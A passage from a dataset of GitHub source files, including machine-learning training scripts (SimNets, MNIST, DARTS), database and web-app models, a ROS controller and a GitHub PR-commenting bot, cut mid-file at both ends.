tf.constant_initializer(weights['sim_weights'])\n else:\n templates_initializer = 'random_normal'\n weights_initializer = keras.initializers.constant(100)\n b = sk.Similarity(sim_channels,\n blocks=[2, 2], strides=[2, 2], similarity_function='L2',\n normalization_term=True, padding=[2, 2], out_of_bounds_value=np.nan, ignore_nan_input=True,\n normalization_term_fudge=1e-4,\n templates_initializer=templates_initializer,\n weights_initializer=weights_initializer)(a)\n i = 0\n # last_norm=None\n while b.shape[-2:] != (1, 1):\n mex_channels *= 2\n unshared = 2 #if i < 1 else int(b.shape[-2])\n #b, b_norm = norm_layer(b)\n b = sk.Mex(mex_channels,\n blocks=[int(b.shape[-3]), 1, 1], strides=[int(b.shape[-3]), 1, 1],\n softmax_mode=True, normalize_offsets=True,\n use_unshared_regions=True, unshared_offset_region=[unshared],\n offsets_initializer='dirichlet')(b)\n b = sum_pooling_layer(b, pool_size=(2, 2))\n # b_norm = sum_pooling_layer(b_norm, pool_size=(2, 2))\n # if last_norm is None:\n # last_norm = b_norm\n # else:\n # last_norm = sum_pooling_layer(last_norm, pool_size=(2, 2))\n # last_norm = add([last_norm, b_norm])\n i += 1\n #b, b_norm = norm_layer(b)\n tf.set_random_seed(1)\n b = sk.Mex(num_classes,\n blocks=[mex_channels, 1, 1], strides=[mex_channels, 1, 1],\n softmax_mode=True, normalize_offsets=True,\n use_unshared_regions=True, shared_offset_region=[1],\n offsets_initializer='dirichlet')(b)\n b = Flatten()(b)\n model = Model(inputs=[a], outputs=[b])\n\n print(model.summary())\n\n def softmax_loss(y_true, y_pred):\n return K.categorical_crossentropy(y_pred, y_true, True)\n\n model.compile(loss=softmax_loss,\n optimizer=keras.optimizers.nadam(lr=1e-2, epsilon=1e-6),\n metrics=['accuracy'])#,\n callbacks=[TensorBoard(log_dir='log', histogram_freq=1, write_graph=True, write_images=False,\n write_grads=True)]\n\n #sk.perform_unsupervised_init(model, 'kmeans', layers=None, data=x_train, batch_size=100)\n keras.models.save_model(model, '/home/elhanani/tmp/model.hd5')\n model.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test),\n callbacks=callbacks)\n\n score = model.evaluate(x_test, y_test, verbose=0)\n print('Test loss:', score[0])\n print('Test accuracy:', score[1])","repo_name":"HUJI-Deep/simnets-tf","sub_path":"test/basic_net_with_keras.py","file_name":"basic_net_with_keras.py","file_ext":"py","file_size_in_byte":6476,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"22278201190","text":"import pyrootutils\nroot = pyrootutils.setup_root(\n search_from=__file__,\n indicator=[\".git\", \"pyproject.toml\"],\n pythonpath=True,\n dotenv=True,\n)\n\nfrom pathlib import Path\nimport pytorch_lightning as pl\nfrom pytorch_lightning import Trainer\nimport hydra\nfrom omegaconf import DictConfig\nimport time\nfrom modelmodule import TextClassifierModel\nfrom pytorch_lightning.callbacks import ModelCheckpoint\nfrom utils import get_pylogger, instantiate_loggers, close_loggers, log_hyperparameters\nfrom pytorch_lightning.loggers import WandbLogger\n\nlog = get_pylogger(__name__)\n\n\ndef train(cfg: DictConfig):\n t0 = time.time()\n pl.seed_everything(cfg.seed)\n\n # Load datasets\n t1 = time.time()\n dm = hydra.utils.instantiate(cfg.datamodule)\n dm.prepare_data()\n dm.setup(\"fit\")\n log.info(\"Finish load datasets in {:.2f} sec\".format(time.time() - t1))\n\n # Load model\n net = hydra.utils.instantiate(cfg.net, num_classes=dm.num_classes)\n lit_model = TextClassifierModel(net, cfg.learning_rate, num_classes=dm.num_classes)\n\n # Initialize trainer\n best_checkpoint_callback = ModelCheckpoint(\n save_top_k= cfg.trainer.max_epochs, # avoid -1 value to work with wandb logger\n monitor=\"val_acc\",\n mode=\"max\",\n dirpath=Path(cfg.paths.output_dir) / \"checkpoints\",\n filename=\"{epoch:02d}_{val_acc:.4f}\",\n save_weights_only=True,\n )\n last_checkpoint_callback = ModelCheckpoint(\n save_last=False,\n dirpath=Path(cfg.paths.output_dir) / \"checkpoints\",\n filename=\"last_{epoch:02d}_{val_acc:.4f}\",\n )\n setattr(last_checkpoint_callback, \"avail_to_wandb\", False)\n\n log.info(\"Instantiating loggers...\")\n logger = instantiate_loggers(cfg.get(\"logger\"))\n\n log.info(f\"Instantiating trainer <{cfg.trainer._target_}>\")\n trainer: Trainer = hydra.utils.instantiate(\n cfg.trainer,\n callbacks=[last_checkpoint_callback, best_checkpoint_callback],\n logger=logger,\n )\n\n object_dict = {\n \"cfg\": cfg,\n \"datamodule\": dm,\n \"model\": lit_model,\n # \"callbacks\": ,\n \"logger\": logger,\n \"trainer\": trainer,\n }\n\n if logger:\n log.info(\"Logging hyperparameters!\")\n log_hyperparameters(object_dict)\n\n if cfg.get(\"train\"):\n log.info(\"Starting training!\")\n trainer.fit(model=lit_model, datamodule=dm, ckpt_path=cfg.get(\"ckpt_path\"))\n\n # We have problems with testing in ddp settings\n # if cfg.get(\"test\"):\n # log.info(\"Starting testing!\")\n # ckpt_path = best_checkpoint_callback.best_model_path\n # if ckpt_path == \"\":\n # log.warning(\"Best ckpt not found! Using current weights for testing...\")\n # ckpt_path = None\n # trainer.test(model=lit_model, datamodule=dm, ckpt_path=ckpt_path)\n # log.info(f\"Best ckpt path: {ckpt_path}\")\n\n log.info(\n \"Finish in {:.2f} sec. out_dir={}\".format(\n time.time() - t0, cfg.paths.output_dir\n )\n )\n close_loggers()\n\n\n@hydra.main(config_path=\"configs\", config_name=\"train\", version_base=None)\ndef main(cfg):\n train(cfg)\n\n\nif __name__ == \"__main__\":\n from pyrootutils import setup_root\n\n root = setup_root(\n __file__, indicator=[\".git\"], dotenv=True, pythonpath=True, cwd=False\n )\n main()\n","repo_name":"NNHieu/Influence-Functions","sub_path":"sequence_problems/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43232935355","text":"import tensorflow as tf\nfrom tensorflow.keras.datasets import mnist\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nprint(f\"Tensorflow module locaiton: {tf.__file__}\")\nprint(f\"TensowFlow version: {tf.__version__}\")\n#tf.config.set_visible_devices([], 'GPU')\n\nnum_epochs = 5\nbatch_size = 128\nlayer_sizes = [8, 16, 32, 64, 128, 256, 512, 1024]\n\n(train_images, train_labels), (test_images, test_labels) = mnist.load_data()\n\n# Reshape the data into a 28*28 = 784 vector\ntrain_images = train_images.reshape((60000, 28*28))\ntest_images = test_images.reshape((10000, 28*28))\n\n# The image data ranges from 0 - 255 integers, so this\n# reformats it to floating point values between 0.0 and 1.0\ntrain_images = train_images.astype(\"float32\") / 255\ntest_images = test_images.astype(\"float32\") / 255\n\n# Do some hyperparameter tuning of layer size\nlayer_size_vs_accuracy = {}\nfor layer_size in layer_sizes:\n\tprint(f\"Fitting model with layer size: {layer_size}\")\n\t# Create a sequential model with one hidden layer of 512 neurons\n\t# and one output layer of 10 digits for classifying digits 0 - 9\n\tmodel = keras.Sequential([\n\t\tlayers.Dense(layer_size, activation=\"relu\"),\n\t\tlayers.Dense(10, activation=\"softmax\")\n\t])\n\n\t# Compile the model tracking accuracy\n\tmodel.compile(\n\t\toptimizer=keras.optimizers.RMSprop(1e-2),\n\t\tloss=\"sparse_categorical_crossentropy\",\n\t\tmetrics=[\"accuracy\"]\n\t)\n\n\t# Effect of batch size\n\t# small batch size --> very slow, averaging and applying weights for each sample, each epoch, good result\n\t# batch_size == sample_size (train_images.shape[0]) --> very fast, averaging and applying weights only once per epoch, poor result\n\t# moderate batch size, such as 128 --> quick and approaches answer quickly, nice happy medium, good result\n\thistory = model.fit(\n\t\ttrain_images,\n\t\ttrain_labels,\n\t\tepochs=num_epochs,\n\t\tbatch_size=batch_size,\n\t\tvalidation_split=0.2\n\t)\n\tlayer_size_vs_accuracy[layer_size] = history.history\n\n# Summarize the results of the experiment\nfig = plt.figure()\nplt.title(\"Hidden layer size vs. model accuracy\")\nx = layer_sizes\ny = []\nfor layer_size in layer_size_vs_accuracy:\n\ty.append(layer_size_vs_accuracy[layer_size]['accuracy'][-1])\n\naccuracy_vs_layer_size_plot = plt.plot(x, y, color='red', marker='o')\nplt.show()\n","repo_name":"nathankrueger/tensorflow_examples","sub_path":"examples/mnist_perceptron.py","file_name":"mnist_perceptron.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19592905825","text":"from fastapi_users.db import SQLAlchemyBaseUserTable\nfrom sqlalchemy import Column, Integer, String, Table, ForeignKey, Numeric, UniqueConstraint\nfrom sqlalchemy.orm import relationship\n\nfrom src.database import Base\n\n\nusers_plats = Table(\n \"user_plant\",\n Base.metadata,\n Column(\"id\", Integer, primary_key=True),\n Column(\"user_id\", ForeignKey(\"user.id\")),\n Column(\"plant_id\", ForeignKey(\"plant.id\")),\n Column(\"amount\", Integer),\n UniqueConstraint('user_id', 'plant_id'),\n)\n\n\nclass User(SQLAlchemyBaseUserTable[int], Base):\n id = Column(Integer, primary_key=True)\n name = Column(String)\n wallet = Column(Numeric(precision=10, scale=2))\n\n plants = relationship(\"Plant\", secondary=users_plats, backref=\"users\")\n","repo_name":"davidkrivko/Garden","sub_path":"src/auth/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32521368716","text":"import pandas as pd\nfrom sqlalchemy import *\nimport hashlib\nimport numpy\nfrom psycopg2.extensions import register_adapter, AsIs\ndef adapt_numpy_int64(numpy_int64):\n return AsIs(numpy_int64)\n\nregister_adapter(numpy.int64, adapt_numpy_int64)\n\n\nengine = create_engine('postgresql://test_user:testtest@localhost/redcarpet')\nconnection = engine.connect()\nmeta = MetaData(bind=engine)\nm = hashlib.md5()\nzeta_wallet = Table('zeta_wallet', meta,\n Column('wallet_id', INTEGER, Sequence('wallet_id_seq'), primary_key=True),\n Column('DDate', TEXT, nullable=True),\n Column('From_to_party', TEXT, nullable=True),\n Column('Credit', FLOAT, nullable=True),\n Column('Debit', FLOAT, nullable=True),\n Column('Balance', FLOAT, nullable=True),\n Column('Bank_ref_txn_id', TEXT, nullable=True),\n Column('Load', FLOAT, nullable=True),\n Column('Key', TEXT, nullable=True),\n Column('Lender', TEXT, nullable=True),\n Column('Zeta_Order_Id', TEXT, nullable=True),\n Column('DMI_User_bal', FLOAT, nullable=True),\n Column('RC_User_bal', FLOAT, nullable=True),\n Column('DMI_usr_bal_post_may', FLOAT, nullable=True),\n Column('Chandan_comment', TEXT, nullable=True),\n Column('Current_date', TEXT, nullable=True),\n Column('Status', TEXT, nullable=True),\n Column('Unnamed_col1', FLOAT, nullable=True),\n Column('Unnamed_col2', FLOAT, nullable=True),\n Column('Unnamed_col3', FLOAT, nullable=True),\n Column('Unnamed_col4', FLOAT, nullable=True),\n Column('Unnamed_col5', FLOAT, nullable=True),\n Column('Unnamed_col6', FLOAT, nullable=True),\n Column('Unnamed_col7', FLOAT, nullable=True),\n Column('Unnamed_col8', FLOAT, nullable=True),\n Column('Unnamed_col9', FLOAT, nullable=True),\n Column('Actual_bal', FLOAT, nullable=True),\n Column('Data_status',TEXT, nullable=True),\n Column('data_hash', TEXT, nullable=False))\n\nengine = create_engine('postgresql://test_user:testtest@localhost/redcarpet')\nconnection = engine.connect()\n\ndf1 = pd.read_csv('/home/saxena/PycharmProjects/test1/Tests/Zeta_Wallet_Loads_Zeta_Loads_mod.csv')\n\nif engine.has_table('zeta_wallet') is False:\n zeta_wallet.create()\n ins = zeta_wallet.insert()\n for tup in df1.itertuples():\n hash_obj = ''\n for i in range(1, len(df1.columns)+1):\n\n hash_obj += str(tup[i])\n hash_code = hashlib.md5(hash_obj.encode()).hexdigest()\n engine.execute(zeta_wallet.insert(), DDate=tup[1], From_to_party=tup[2], Credit=tup[3], Debit=tup[4],\n Balance=tup[5], Bank_ref_txn_id=tup[6], Load=tup[7], Key=tup[8], Lender=tup[9],\n Zeta_Order_Id=tup[10], DMI_User_bal=tup[11], RC_User_bal=tup[12], DMI_usr_bal_post_may=tup[13],\n Chandan_comment=tup[14], Current_date=tup[15], Status=tup[16], Unnamed_col1=tup[17],\n Unnamed_col2=tup[18], Unnamed_col3=tup[19], Unnamed_col4=tup[20], Unnamed_col5=tup[21],\n Unnamed_col6=tup[22], Unnamed_col7=tup[23], Unnamed_col8=tup[24], Unnamed_col9=tup[25],\n Actual_bal=tup[26], Data_status='NEW', data_hash=hash_code)\n\ndf2 = pd.read_sql_table('zeta_wallet', engine)\n\nhash_df1 = []\nfor tup in df1.itertuples():\n hash_obj = ''\n for i in range(1, len(df1.columns) + 1):\n hash_obj += str(tup[i])\n hash_code = hashlib.md5(hash_obj.encode()).hexdigest()\n hash_df1.append(hash_code)\n\ndf2_hash = pd.DataFrame(df2['data_hash'].copy())\ndf1_hash = pd.DataFrame(hash_df1)\nfor j, row in enumerate(df2_hash.itertuples()):\n for k, cow in enumerate(df1_hash.itertuples()):\n flag = 0\n if row[1] == cow[1]:\n df2.set_value(j, 'Data_status', 'DELETED')\n break\n\nval = df2.loc[df2['Data_status'] == 'DELETED', 'wallet_id'].values\n#tmp = df2.loc[df2['Data_status'] == 'NEW', 'wallet_id'].values\nstmt = zeta_wallet.update().where(zeta_wallet.c.wallet_id == bindparam('wlt_id')).values(Data_status='DELETED')\nst = []\nfor i in val:\n st.append({'wlt_id': i})\nconnection.execute(stmt, st)\nins = zeta_wallet.insert()\nfor tup in df1.itertuples():\n hash_obj = ''\n for i in range(1, len(df1.columns) + 1):\n hash_obj += str(tup[i])\n hash_code = hashlib.md5(hash_obj.encode()).hexdigest()\n engine.execute(zeta_wallet.insert(), DDate=tup[1], From_to_party=tup[2], Credit=tup[3], Debit=tup[4],\n Balance=tup[5], Bank_ref_txn_id=tup[6], Load=tup[7], Key=tup[8], Lender=tup[9],\n Zeta_Order_Id=tup[10], DMI_User_bal=tup[11], RC_User_bal=tup[12], DMI_usr_bal_post_may=tup[13],\n Chandan_comment=tup[14], Current_date=tup[15], Status=tup[16], Unnamed_col1=tup[17],\n Unnamed_col2=tup[18], Unnamed_col3=tup[19], Unnamed_col4=tup[20], Unnamed_col5=tup[21],\n Unnamed_col6=tup[22], Unnamed_col7=tup[23], Unnamed_col8=tup[24], Unnamed_col9=tup[25],\n Actual_bal=tup[26], Data_status='NEW', data_hash=hash_code)\n\nconnection.close()","repo_name":"pulkitsaxena14/rc_test","sub_path":"hash_compare.py","file_name":"hash_compare.py","file_ext":"py","file_size_in_byte":5436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3785188255","text":"from django import forms\n\nfrom pages.models import Produto, DoacaoAgendada\n\nclass AgendamentoForm(forms.ModelForm):\n\n class Meta:\n model = DoacaoAgendada\n fields = ('produto', 'quantidade', )\n\n\n def __init__(self, *args, **kwargs):\n\n super(AgendamentoForm, self).__init__(*args, **kwargs)\n \n self.fields['quantidade'].widget.attrs['readonly'] = 'readonly'\n \n initial = kwargs.get('initial')\n grupoProduto = initial.get('grupoProduto')\n \n self.fields['produto'].queryset = Produto.objects.filter(\n grupoProduto=grupoProduto,\n aceitaDoacao=True\n )\n","repo_name":"celsorv/cesta","sub_path":"doacao/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"19504504937","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n# license removed for brevity\nimport rospy, signal, sys, readchar\nimport tty, termios, select\nfrom std_msgs.msg import String\n\nlastchoice = ''\n\ndef sigint_callback():\n rospy.signal_shutdown(\"Ctrl+C detected\")\n sys.exit(0)\n\n\ndef controller():\n global lastchoice\n\n choice = readchar.readkey()\n\n # SIGINT handler\n if choice == '\\x03':\n sigint_callback()\n\n if choice in \"CANEenac\":\n choice = choice.lower()\n if choice != lastchoice:\n rospy.loginfo(\"HAI SELEZIONATO %s\" % choice)\n lastchoice = choice\n\n pub.publish(choice)\n\n\nif __name__ == '__main__':\n pub = rospy.Publisher('controller', String, queue_size=10)\n rospy.init_node('controller', anonymous=True)\n\n string = \"\"\"\\n\\r\nDigita la tua scelta:\\n\\r\n- 'a': stampa tutti i dati\n- 'n': stampa il nome dello studente\n- 'e': stampa l'età dello studente\n- 'c': stampa il corso di laurea dello studente\\n\\r\nCtrl+C per terminare\n \"\"\"\n\n rospy.loginfo(string)\n\n while True:\n controller()\n","repo_name":"BAnd313/homework1","sub_path":"src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27147193151","text":"# coding: utf-8\n\"\"\"\nCenters of mass of water molecule\n\"\"\"\n\nimport numpy as np\nfrom logging import getLogger\nfrom genice2.decorators import timeit, banner\nimport genice2.formats\n\n\nclass Format(genice2.formats.Format):\n \"\"\"\nCenters-of-mass of water molecules are output in @AR3A format.\nNo options available.\n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n def hooks(self):\n return {1: self.Hook1}\n\n @timeit\n @banner\n def Hook1(self, ice):\n \"Output centers of mass of water molecules.\"\n logger = getLogger()\n cellmat = ice.repcell.mat\n s = \"\"\n if cellmat[1, 0] == 0 and cellmat[2, 0] == 0 and cellmat[2, 1] == 0:\n s += \"@BOX3\\n\"\n s += \"{0} {1} {2}\\n\".format(cellmat[0, 0] *\n 10, cellmat[1, 1] * 10, cellmat[2, 2] * 10)\n else:\n s += \"@BOX9\\n\"\n for d in range(3):\n s += \"{0} {1} {2}\\n\".format(cellmat[0, d] *\n 10, cellmat[1, d] * 10, cellmat[2, d] * 10)\n s += \"@AR3A\\n\"\n s += \"{0}\\n\".format(len(ice.reppositions))\n for pos in ice.reppositions:\n position = pos @ cellmat * 10 # in Angstrom\n s += \"{0:9.4f} {1:9.4f} {2:9.4f}\\n\".format(position[0],\n position[1],\n position[2])\n s = \"\\n\".join(ice.doc) + \"\\n\" + s\n self.output = s\n","repo_name":"vitroid/GenIce","sub_path":"genice2/formats/com.py","file_name":"com.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"37"} +{"seq_id":"31947783285","text":"# Python\nimport os\n\n# Database\nfrom database import SessionLocal\nfrom database.queries import get_row, write_row\n\n\ndef check_root(root_user: dict):\n db = SessionLocal()\n root = get_row(db, \"Trader\", username=root_user[\"username\"])\n if root is None:\n root = write_row(db, \"Trader\", with_dict=root_user)\n print(f\"Superuser created: {root.username}\")\n print(\"Welcome to OTI\")\n db.close()\n\n\ndef create_directories(directories: list):\n for dir in directories:\n os.makedirs(dir, exist_ok=True)\n","repo_name":"josdanind/OTI-Algorithmic-Trading","sub_path":"services/api/utils/starting_server.py","file_name":"starting_server.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15260537757","text":"import json\r\nimport requests\r\n\r\n# Authentication info\r\n\r\nwith open('./input/authParams.txt') as f:\r\n USERNAME, TOKEN = f.read().splitlines()\r\n\r\n# The repository to add this issue to\r\n\r\nwith open('./input/prParams.txt') as f:\r\n REPO_NAME, REPO_OWNER, PR_NUMBER = f.read().splitlines()\r\n PR_NUMBER = int(PR_NUMBER, 10)\r\n\r\ndef make_github_comment(body=None):\r\n '''Create a comment on github.com using the given parameters.'''\r\n # Our url to create comments via POST\r\n url = 'https://api.github.com/repos/%s/%s/issues/%i/comments' % (REPO_OWNER, REPO_NAME, PR_NUMBER)\r\n # Create an authenticated session to create the comment\r\n headers = {\r\n \"Authorization\": \"token %s\" % TOKEN,\r\n }\r\n # Create our comment\r\n data = {'body': body}\r\n\r\n r = requests.post(url, json.dumps(data), headers=headers)\r\n if r.status_code == 201:\r\n print('Successfully created comment \"%s\"' % body)\r\n else:\r\n print('Could not create comment \"%s\"' % body)\r\n print('Response:', r.content)\r\n\r\nmake_github_comment(\"\"\"__Hi there! This pull request looks like it might be a duplicate of #2.__\r\n\r\nPlease help us out by clicking one of the options below:\r\n- This comment was [__useful__](https://pages.github.com/).\r\n- This pull request is __not a duplicate__, so this comment was [__not useful__](https://pages.github.com/).\r\n- I do not need this service, so this comment was [__not useful__](https://pages.github.com/).\r\n \"\"\")\r\n","repo_name":"dupbot/test-repo","sub_path":"PRcommenter.py","file_name":"PRcommenter.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74535883627","text":"import string\r\nchar_list = []\r\ncount_char = 0\r\ncount_char_for_first = 0\r\ncount_char_for_sec = 0\r\ncount_char_for_th = 0\r\nchar_num = int(input(\"enter char numbers: \"))\r\nif(char_num >= 1 and char_num <= 4):\r\n for i in range(0, char_num):\r\n char = input(\"enter char: \")\r\n char_list.append(char)\r\n\r\n print(char_list)\r\n \r\n for i in char_list:\r\n if(type(i) is str == True):\r\n if(check_num == 1):\r\n if(i in string.ascii_lowercase):\r\n sen = \"This sentence contains \"+i+\"'s\"\r\n print(sen)\r\n for j in sen:\r\n if(i == j):\r\n count_char += 1\r\n print(i+\":\"+count_char)\r\n new_sen = \"This sentence contains \"+count_char+\" \"+i+\"'s\"\r\n print(new_sen)\r\n elif(check_num == 2):\r\n if(i in string.ascii_lowercase):\r\n sen2 = \"This sentence contains \"+i+\"'s and \"+char_list[index(i)+1]+\"'s\"\r\n print(sen2)\r\n for j in sen2:\r\n if(i == j):\r\n count_char_for_first += 1\r\n elif(char_list[index(i)+1] == j):\r\n count_char_for_sec += 1\r\n print(count_char_for_first)\r\n print(count_char_for_sec)\r\n new_sen1 = \"This sentence contains \"+count_char_for_first+\" \"+i+\"'s and \"+count_char_for_sec+\" \"+char_list[index(i)+1]+\"'s\"\r\n print(new_sen1)\r\n elif(check_num == 3):\r\n if(i in string.ascii_lowercase):\r\n sen3 = \"This sentence contains \"+i+\"'s and \"+char_list[index(i)+1]+\"'s and \"+char_list[index(i)+2]+\"'s\"\r\n print(sen3)\r\n for j in sen3:\r\n if(i == j):\r\n count_char_for_first += 1\r\n elif(char_list[index(i)+1] == j):\r\n count_char_for_sec += 1\r\n elif(char_list[index(i)+2] == j):\r\n count_char_for_th += 1\r\n print(count_char_for_first)\r\n print(count_char_for_sec)\r\n print(count_char_for_th)\r\n new_sen2 = \"This sentence contains \"+count_char_for_first+\" \"+i+\"'s and \"+count_char_for_sec+\" \"+char_list[index(i)+1]+\"'s and \"+count_char_for_th+\" \"+char_list[index(i)+2]+\"'s\"\r\n print(new_sen2)\r\n '''if(check_num == 1):\r\n sen = \"This sentence contains two\"+i+\"'s.\"\r\n if(i in sen == True):\r\n count_char = count_char + 1\r\n print(count_char)\r\n elif(check_num == 2):\r\n sen = \"This sentence contains three\"+i+\"'s and three \"+char_list[index(i)+1]+\"'s OR This sentence contains three a's and two r's.\"\r\n if(i in sen == True and char_list[index(i)+1] in sen == True):\r\n count_char = count_char + 1\r\n count_char = count_char + 1\r\n print(count_char)\r\n print(count_char2)\r\n elif(check_num == 3):\r\n sen = \"This sentence contains one\"+i+\", one \"+char_list[index(i)+1]+\" and one \"+char_list[index(i)+2]+\".\"\r\n if(i in sen == True and char_list[index(i)+1] in sen == True and char_list[index(i)+2] in sen == True):\r\n count_char = count_char + 1\r\n count_char2 = count_char2 + 1\r\n count_char3 = count_char3 + 1\r\n print(count_char)\r\n print(count_char2)\r\n print(count_char3)'''\r\nelse:\r\n print(\"enter valid number\")\r\n","repo_name":"hmake98/codevita-round1-2018-C","sub_path":"Syntax.py","file_name":"Syntax.py","file_ext":"py","file_size_in_byte":4057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24649439287","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef Task_7():\n arr = np.array(np.random.randint(0,2,(10,10)))\n fig, axs = plt.subplots(2,2, figsize=(10,10))\n\n axs[0, 0].imshow(arr)\n axs[0, 0].set_title('Исходное изображение')\n\n newArr = np.array(arr[3:7, 3:7])\n axs[0, 1].imshow(newArr)\n axs[0, 1].set_title('Центр. часть (4х4)')\n\n invArr = np.array(1 - arr)\n axs[1, 0].imshow(invArr)\n axs[1, 0].set_title('Инвертированное изображение')\n\n Arr1 = []\n for i in range(len(arr)):\n Arr2 = []\n for j in range(len(arr[i])-1):\n if(j == 0):\n continue\n elif(j == len(arr[i])):\n break\n else:\n Arr2.append((arr[i,j-1]+arr[i,j]+arr[i,j+1])/3)\n Arr1.append(Arr2)\n\n blurryArr = np.array(Arr1)\n axs[1,1].imshow(blurryArr)\n axs[1, 1].set_title('Размытое изображение')\n plt.show()\n fig.savefig('images_matplotlib.png')","repo_name":"Meggi9/Learn_NumPy_Matplotlib","sub_path":"Task_7.py","file_name":"Task_7.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18676113986","text":"\"\"\"\n DARTS for ImageNet-1K, implemented in Gluon.\n Original paper: 'DARTS: Differentiable Architecture Search,' https://arxiv.org/abs/1806.09055.\n\"\"\"\n\n__all__ = ['DARTS', 'darts']\n\nimport os\nfrom mxnet import cpu\nfrom mxnet.gluon import nn, HybridBlock\nfrom mxnet.gluon.contrib.nn import Identity\nfrom .common import conv1x1\nfrom .nasnet import nasnet_dual_path_sequential\n\n\nclass DwsConv(HybridBlock):\n \"\"\"\n Standard dilated depthwise separable convolution block with.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n kernel_size : int or tuple/list of 2 int\n Convolution window size.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n padding : int or tuple/list of 2 int\n Padding value for convolution layer.\n dilation : int or tuple/list of 2 int\n Dilation value for convolution layer.\n use_bias : bool, default False\n Whether the layers use a bias vector.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size,\n strides,\n padding,\n dilation,\n use_bias=False,\n **kwargs):\n super(DwsConv, self).__init__(**kwargs)\n with self.name_scope():\n self.dw_conv = nn.Conv2D(\n channels=in_channels,\n kernel_size=kernel_size,\n strides=strides,\n padding=padding,\n dilation=dilation,\n groups=in_channels,\n use_bias=use_bias,\n in_channels=in_channels)\n self.pw_conv = conv1x1(\n in_channels=in_channels,\n out_channels=out_channels,\n use_bias=use_bias)\n\n def hybrid_forward(self, F, x):\n x = self.dw_conv(x)\n x = self.pw_conv(x)\n return x\n\n\nclass DartsConv(HybridBlock):\n \"\"\"\n DARTS specific convolution block.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n kernel_size : int or tuple/list of 2 int\n Convolution window size.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n padding : int or tuple/list of 2 int\n Padding value for convolution layer.\n activate : bool, default True\n Whether activate the convolution block.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size,\n strides,\n padding,\n activate=True,\n **kwargs):\n super(DartsConv, self).__init__(**kwargs)\n self.activate = activate\n\n with self.name_scope():\n if self.activate:\n self.activ = nn.Activation(\"relu\")\n self.conv = nn.Conv2D(\n channels=out_channels,\n kernel_size=kernel_size,\n strides=strides,\n padding=padding,\n use_bias=False,\n in_channels=in_channels)\n self.bn = nn.BatchNorm(in_channels=out_channels)\n\n def hybrid_forward(self, F, x):\n if self.activate:\n x = self.activ(x)\n x = self.conv(x)\n x = self.bn(x)\n return x\n\n\ndef darts_conv1x1(in_channels,\n out_channels,\n activate=True):\n \"\"\"\n 1x1 version of the DARTS specific convolution block.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n activate : bool, default True\n Whether activate the convolution block.\n \"\"\"\n return DartsConv(\n in_channels=in_channels,\n out_channels=out_channels,\n kernel_size=1,\n strides=1,\n padding=0,\n activate=activate)\n\n\ndef darts_conv3x3_s2(in_channels,\n out_channels,\n activate=True):\n \"\"\"\n 3x3 version of the DARTS specific convolution block with stride 2.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n activate : bool, default True\n Whether activate the convolution block.\n \"\"\"\n return DartsConv(\n in_channels=in_channels,\n out_channels=out_channels,\n kernel_size=3,\n strides=2,\n padding=1,\n activate=activate)\n\n\nclass DartsDwsConv(HybridBlock):\n \"\"\"\n DARTS specific dilated convolution block.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n kernel_size : int or tuple/list of 2 int\n Convolution window size.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n padding : int or tuple/list of 2 int\n Padding value for convolution layer.\n dilation : int or tuple/list of 2 int\n Dilation value for convolution layer.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size,\n strides,\n padding,\n dilation,\n **kwargs):\n super(DartsDwsConv, self).__init__(**kwargs)\n with self.name_scope():\n self.activ = nn.Activation(\"relu\")\n self.conv = DwsConv(\n in_channels=in_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n strides=strides,\n padding=padding,\n dilation=dilation,\n use_bias=False)\n self.bn = nn.BatchNorm(in_channels=out_channels)\n\n def hybrid_forward(self, F, x):\n x = self.activ(x)\n x = self.conv(x)\n x = self.bn(x)\n return x\n\n\nclass 